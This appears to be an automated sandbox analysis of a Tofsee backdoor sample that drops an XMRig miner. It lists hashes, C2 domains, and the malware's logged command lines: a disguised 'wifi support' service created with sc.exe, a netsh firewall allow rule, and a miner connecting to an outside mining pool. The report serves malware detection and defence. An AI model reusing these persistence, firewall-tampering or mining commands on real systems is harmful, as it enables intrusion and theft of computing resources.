Analysis

  • max time kernel
    179s
  • max time network
    190s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220812-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
  • submitted
    30-11-2022 03:23

General

  • Target

    bd650f0d1cdae90e4a008e0ad214fdb8d16a549a5463d06d25d284c019b7657b.exe

  • Size

    147KB

  • MD5

    1b8099400f9b3df55bb4b9a6b4e0b849

  • SHA1

    9f737eeb8a5b084511a4b655cb5ace0413d2ed8b

  • SHA256

    bd650f0d1cdae90e4a008e0ad214fdb8d16a549a5463d06d25d284c019b7657b

  • SHA512

    da97e8411dc9cc7427906a427a3cd36bfcba2e6881c54764234588d6e1371339753469ddba9635366c51b58eb0314fe76235e96db011d59274cd6ca03bea9193

  • SSDEEP

    3072:rsL7PaCvJSVUn5fOkOVCvvj8n/NTWYtWmxP88xq9:gWCvJSVgOktHjufWm1E

Malware Config

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\bd650f0d1cdae90e4a008e0ad214fdb8d16a549a5463d06d25d284c019b7657b.exe
    "C:\Users\Admin\AppData\Local\Temp\bd650f0d1cdae90e4a008e0ad214fdb8d16a549a5463d06d25d284c019b7657b.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:1576
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\yjmstyus\
      2⤵
        PID:4768
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\xrtbxrxq.exe" C:\Windows\SysWOW64\yjmstyus\
        2⤵
          PID:3172
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create yjmstyus binPath= "C:\Windows\SysWOW64\yjmstyus\xrtbxrxq.exe /d\"C:\Users\Admin\AppData\Local\Temp\bd650f0d1cdae90e4a008e0ad214fdb8d16a549a5463d06d25d284c019b7657b.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:4416
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description yjmstyus "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:3828
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start yjmstyus
          2⤵
          • Launches sc.exe
          PID:2120
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:1276
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 1576 -s 1256
          2⤵
          • Program crash
          PID:4496
      • C:\Windows\SysWOW64\yjmstyus\xrtbxrxq.exe
        C:\Windows\SysWOW64\yjmstyus\xrtbxrxq.exe /d"C:\Users\Admin\AppData\Local\Temp\bd650f0d1cdae90e4a008e0ad214fdb8d16a549a5463d06d25d284c019b7657b.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:1440
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:4388
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:2308
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 1440 -s 508
          2⤵
          • Program crash
          PID:2380
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 452 -p 1576 -ip 1576
        1⤵
          PID:4488
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 1440 -ip 1440
          1⤵
            PID:3772

          Network

          MITRE ATT&CK Matrix ATT&CK v6

          Persistence

          New Service

          1
          T1050

          Modify Existing Service

          1
          T1031

          Registry Run Keys / Startup Folder

          1
          T1060

          Privilege Escalation

          New Service

          1
          T1050

          Defense Evasion

          Modify Registry

          1
          T1112

          Discovery

          Query Registry

          1
          T1012

          System Information Discovery

          2
          T1082

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • C:\Users\Admin\AppData\Local\Temp\xrtbxrxq.exe
            Filesize

            13.3MB

            MD5

            dbb1dafdfdd662f0df14b5d70b5fdc2b

            SHA1

            4f3a0ddbb289735bf17cd8c9f92a60f0ffc199b2

            SHA256

            59a62fc5c98be0993c7097e30ff73a96d961762e6d4646f7cb8af54a6381bbcb

            SHA512

            1139eb8da03561c18850a672435d3bad81eb3736bf0fecbc455c4da748f234e1873c475fb15fd70ab5890f04747a5ce10b8d3d0bff38a079f4b226ff4143c233

          • C:\Windows\SysWOW64\yjmstyus\xrtbxrxq.exe
            Filesize

            13.3MB

            MD5

            dbb1dafdfdd662f0df14b5d70b5fdc2b

            SHA1

            4f3a0ddbb289735bf17cd8c9f92a60f0ffc199b2

            SHA256

            59a62fc5c98be0993c7097e30ff73a96d961762e6d4646f7cb8af54a6381bbcb

            SHA512

            1139eb8da03561c18850a672435d3bad81eb3736bf0fecbc455c4da748f234e1873c475fb15fd70ab5890f04747a5ce10b8d3d0bff38a079f4b226ff4143c233

          • memory/1276-142-0x0000000000000000-mapping.dmp
          • memory/1440-151-0x0000000000400000-0x0000000000AD6000-memory.dmp
            Filesize

            6.8MB

          • memory/1440-150-0x0000000000DD9000-0x0000000000DE9000-memory.dmp
            Filesize

            64KB

          • memory/1576-143-0x0000000000DDD000-0x0000000000DED000-memory.dmp
            Filesize

            64KB

          • memory/1576-133-0x0000000000D70000-0x0000000000D83000-memory.dmp
            Filesize

            76KB

          • memory/1576-134-0x0000000000400000-0x0000000000AD6000-memory.dmp
            Filesize

            6.8MB

          • memory/1576-132-0x0000000000DDD000-0x0000000000DED000-memory.dmp
            Filesize

            64KB

          • memory/1576-145-0x0000000000400000-0x0000000000AD6000-memory.dmp
            Filesize

            6.8MB

          • memory/1576-144-0x0000000000D70000-0x0000000000D83000-memory.dmp
            Filesize

            76KB

          • memory/2120-140-0x0000000000000000-mapping.dmp
          • memory/2308-172-0x0000000000000000-mapping.dmp
          • memory/2308-174-0x00000000004E0000-0x00000000005D1000-memory.dmp
            Filesize

            964KB

          • memory/2308-173-0x00000000004E1000-0x00000000005B2000-memory.dmp
            Filesize

            836KB

          • memory/2308-178-0x00000000004E0000-0x00000000005D1000-memory.dmp
            Filesize

            964KB

          • memory/3172-136-0x0000000000000000-mapping.dmp
          • memory/3828-139-0x0000000000000000-mapping.dmp
          • memory/4388-146-0x0000000000000000-mapping.dmp
          • memory/4388-153-0x00000000007B0000-0x00000000007C5000-memory.dmp
            Filesize

            84KB

          • memory/4388-154-0x0000000002800000-0x0000000002A0F000-memory.dmp
            Filesize

            2.1MB

          • memory/4388-157-0x0000000001DA0000-0x0000000001DA6000-memory.dmp
            Filesize

            24KB

          • memory/4388-160-0x0000000001DB0000-0x0000000001DC0000-memory.dmp
            Filesize

            64KB

          • memory/4388-163-0x0000000002DD0000-0x0000000002DD5000-memory.dmp
            Filesize

            20KB

          • memory/4388-166-0x0000000007800000-0x0000000007C0B000-memory.dmp
            Filesize

            4.0MB

          • memory/4388-169-0x0000000002DE0000-0x0000000002DE7000-memory.dmp
            Filesize

            28KB

          • memory/4388-152-0x00000000007B0000-0x00000000007C5000-memory.dmp
            Filesize

            84KB

          • memory/4388-147-0x00000000007B0000-0x00000000007C5000-memory.dmp
            Filesize

            84KB

          • memory/4416-138-0x0000000000000000-mapping.dmp
          • memory/4768-135-0x0000000000000000-mapping.dmp